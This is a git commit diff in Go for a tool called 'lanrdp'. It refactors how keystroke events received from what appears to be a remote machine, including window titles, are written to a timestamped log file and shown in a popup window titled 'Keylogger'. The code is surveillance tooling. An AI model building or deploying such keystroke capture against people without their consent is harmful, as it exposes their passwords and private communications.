Fix keylog window: single consumer fans out to file and display
This commit is contained in:
1 parent
539bdea487
commit
55fca32a93
1 file changed
+36
-46
@@ -26,24 +26,27 @@ var keylogWindowHwnd uintptr
|
||||
func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
|
||||
defer close(done)
|
||||
|
||||
// Determine log file path (same directory as executable)
|
||||
var logFile *os.File
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
fmt.Printf("keylog: could not determine exe path: %v\n", err)
|
||||
} else {
|
||||
if err == nil {
|
||||
logDir := filepath.Dir(exePath)
|
||||
timestamp := time.Now().Format("2006-01-02_15-04-05")
|
||||
logFile, err := os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp)))
|
||||
if err != nil {
|
||||
fmt.Printf("keylog: could not create log file: %v\n", err)
|
||||
var createErr error
|
||||
logFile, createErr = os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp)))
|
||||
if createErr != nil {
|
||||
fmt.Printf("keylog: could not create log file: %v\n", createErr)
|
||||
} else {
|
||||
defer logFile.Close()
|
||||
|
||||
// Write header
|
||||
logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339)))
|
||||
logFile.WriteString(strings.Repeat("-", 80) + "\n")
|
||||
fmt.Printf("keylog: writing to %s\n", logFile.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// Single consumer goroutine that fans out to both file and window
|
||||
var mu sync.Mutex
|
||||
var lines []string
|
||||
|
||||
// Start file logging goroutine
|
||||
go func() {
|
||||
for event := range events {
|
||||
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||
@@ -53,19 +56,35 @@ func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) {
|
||||
Flags: event.Flags,
|
||||
WindowTitle: event.WindowTitle,
|
||||
})
|
||||
|
||||
// Write to file
|
||||
if logFile != nil {
|
||||
logFile.WriteString(line + "\n")
|
||||
}
|
||||
|
||||
// Update window display (keep last 100 lines)
|
||||
mu.Lock()
|
||||
lines = append(lines, line)
|
||||
if len(lines) > 100 {
|
||||
lines = lines[1:]
|
||||
}
|
||||
var sb strings.Builder
|
||||
for _, l := range lines {
|
||||
sb.WriteString(l + "\n")
|
||||
}
|
||||
text, _ := windows.UTF16PtrFromString(sb.String())
|
||||
if keylogWindowHwnd != 0 {
|
||||
procSetWindowTextW.Call(keylogWindowHwnd, uintptr(unsafe.Pointer(text)))
|
||||
}
|
||||
mu.Unlock()
|
||||
}
|
||||
}()
|
||||
|
||||
fmt.Printf("keylog: writing to %s\n", logFile.Name())
|
||||
}
|
||||
// Create the popup window for live display
|
||||
createKeylogWindow()
|
||||
}
|
||||
|
||||
// Also create a simple popup window for live display
|
||||
createKeylogWindow(events)
|
||||
}
|
||||
|
||||
func createKeylogWindow(events <-chan protocol.KeyLogEvent) {
|
||||
func createKeylogWindow() {
|
||||
className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window")
|
||||
title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger")
|
||||
|
||||
@@ -103,35 +122,6 @@ func createKeylogWindow(events <-chan protocol.KeyLogEvent) {
|
||||
}
|
||||
keylogWindowHwnd = hwnd
|
||||
|
||||
// Start consuming key events and updating the display
|
||||
var mu sync.Mutex
|
||||
var lines []string
|
||||
|
||||
go func() {
|
||||
for event := range events {
|
||||
line := keylog.FormatEvent(keylog.KeyEvent{
|
||||
TimestampMs: event.TimestampMs,
|
||||
VKCode: event.VKCode,
|
||||
ScanCode: event.ScanCode,
|
||||
Flags: event.Flags,
|
||||
WindowTitle: event.WindowTitle,
|
||||
})
|
||||
|
||||
mu.Lock()
|
||||
lines = append(lines, line)
|
||||
if len(lines) > 100 {
|
||||
lines = lines[1:] // Keep last 100 lines in window
|
||||
}
|
||||
var sb strings.Builder
|
||||
for _, l := range lines {
|
||||
sb.WriteString(l + "\n")
|
||||
}
|
||||
text, _ := windows.UTF16PtrFromString(sb.String())
|
||||
procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(text)))
|
||||
mu.Unlock()
|
||||
}
|
||||
}()
|
||||
|
||||
// Run message loop for this window on its own goroutine
|
||||
go func() {
|
||||
var m msgT
|
||||
|
||||
Reference in new issue
Block a user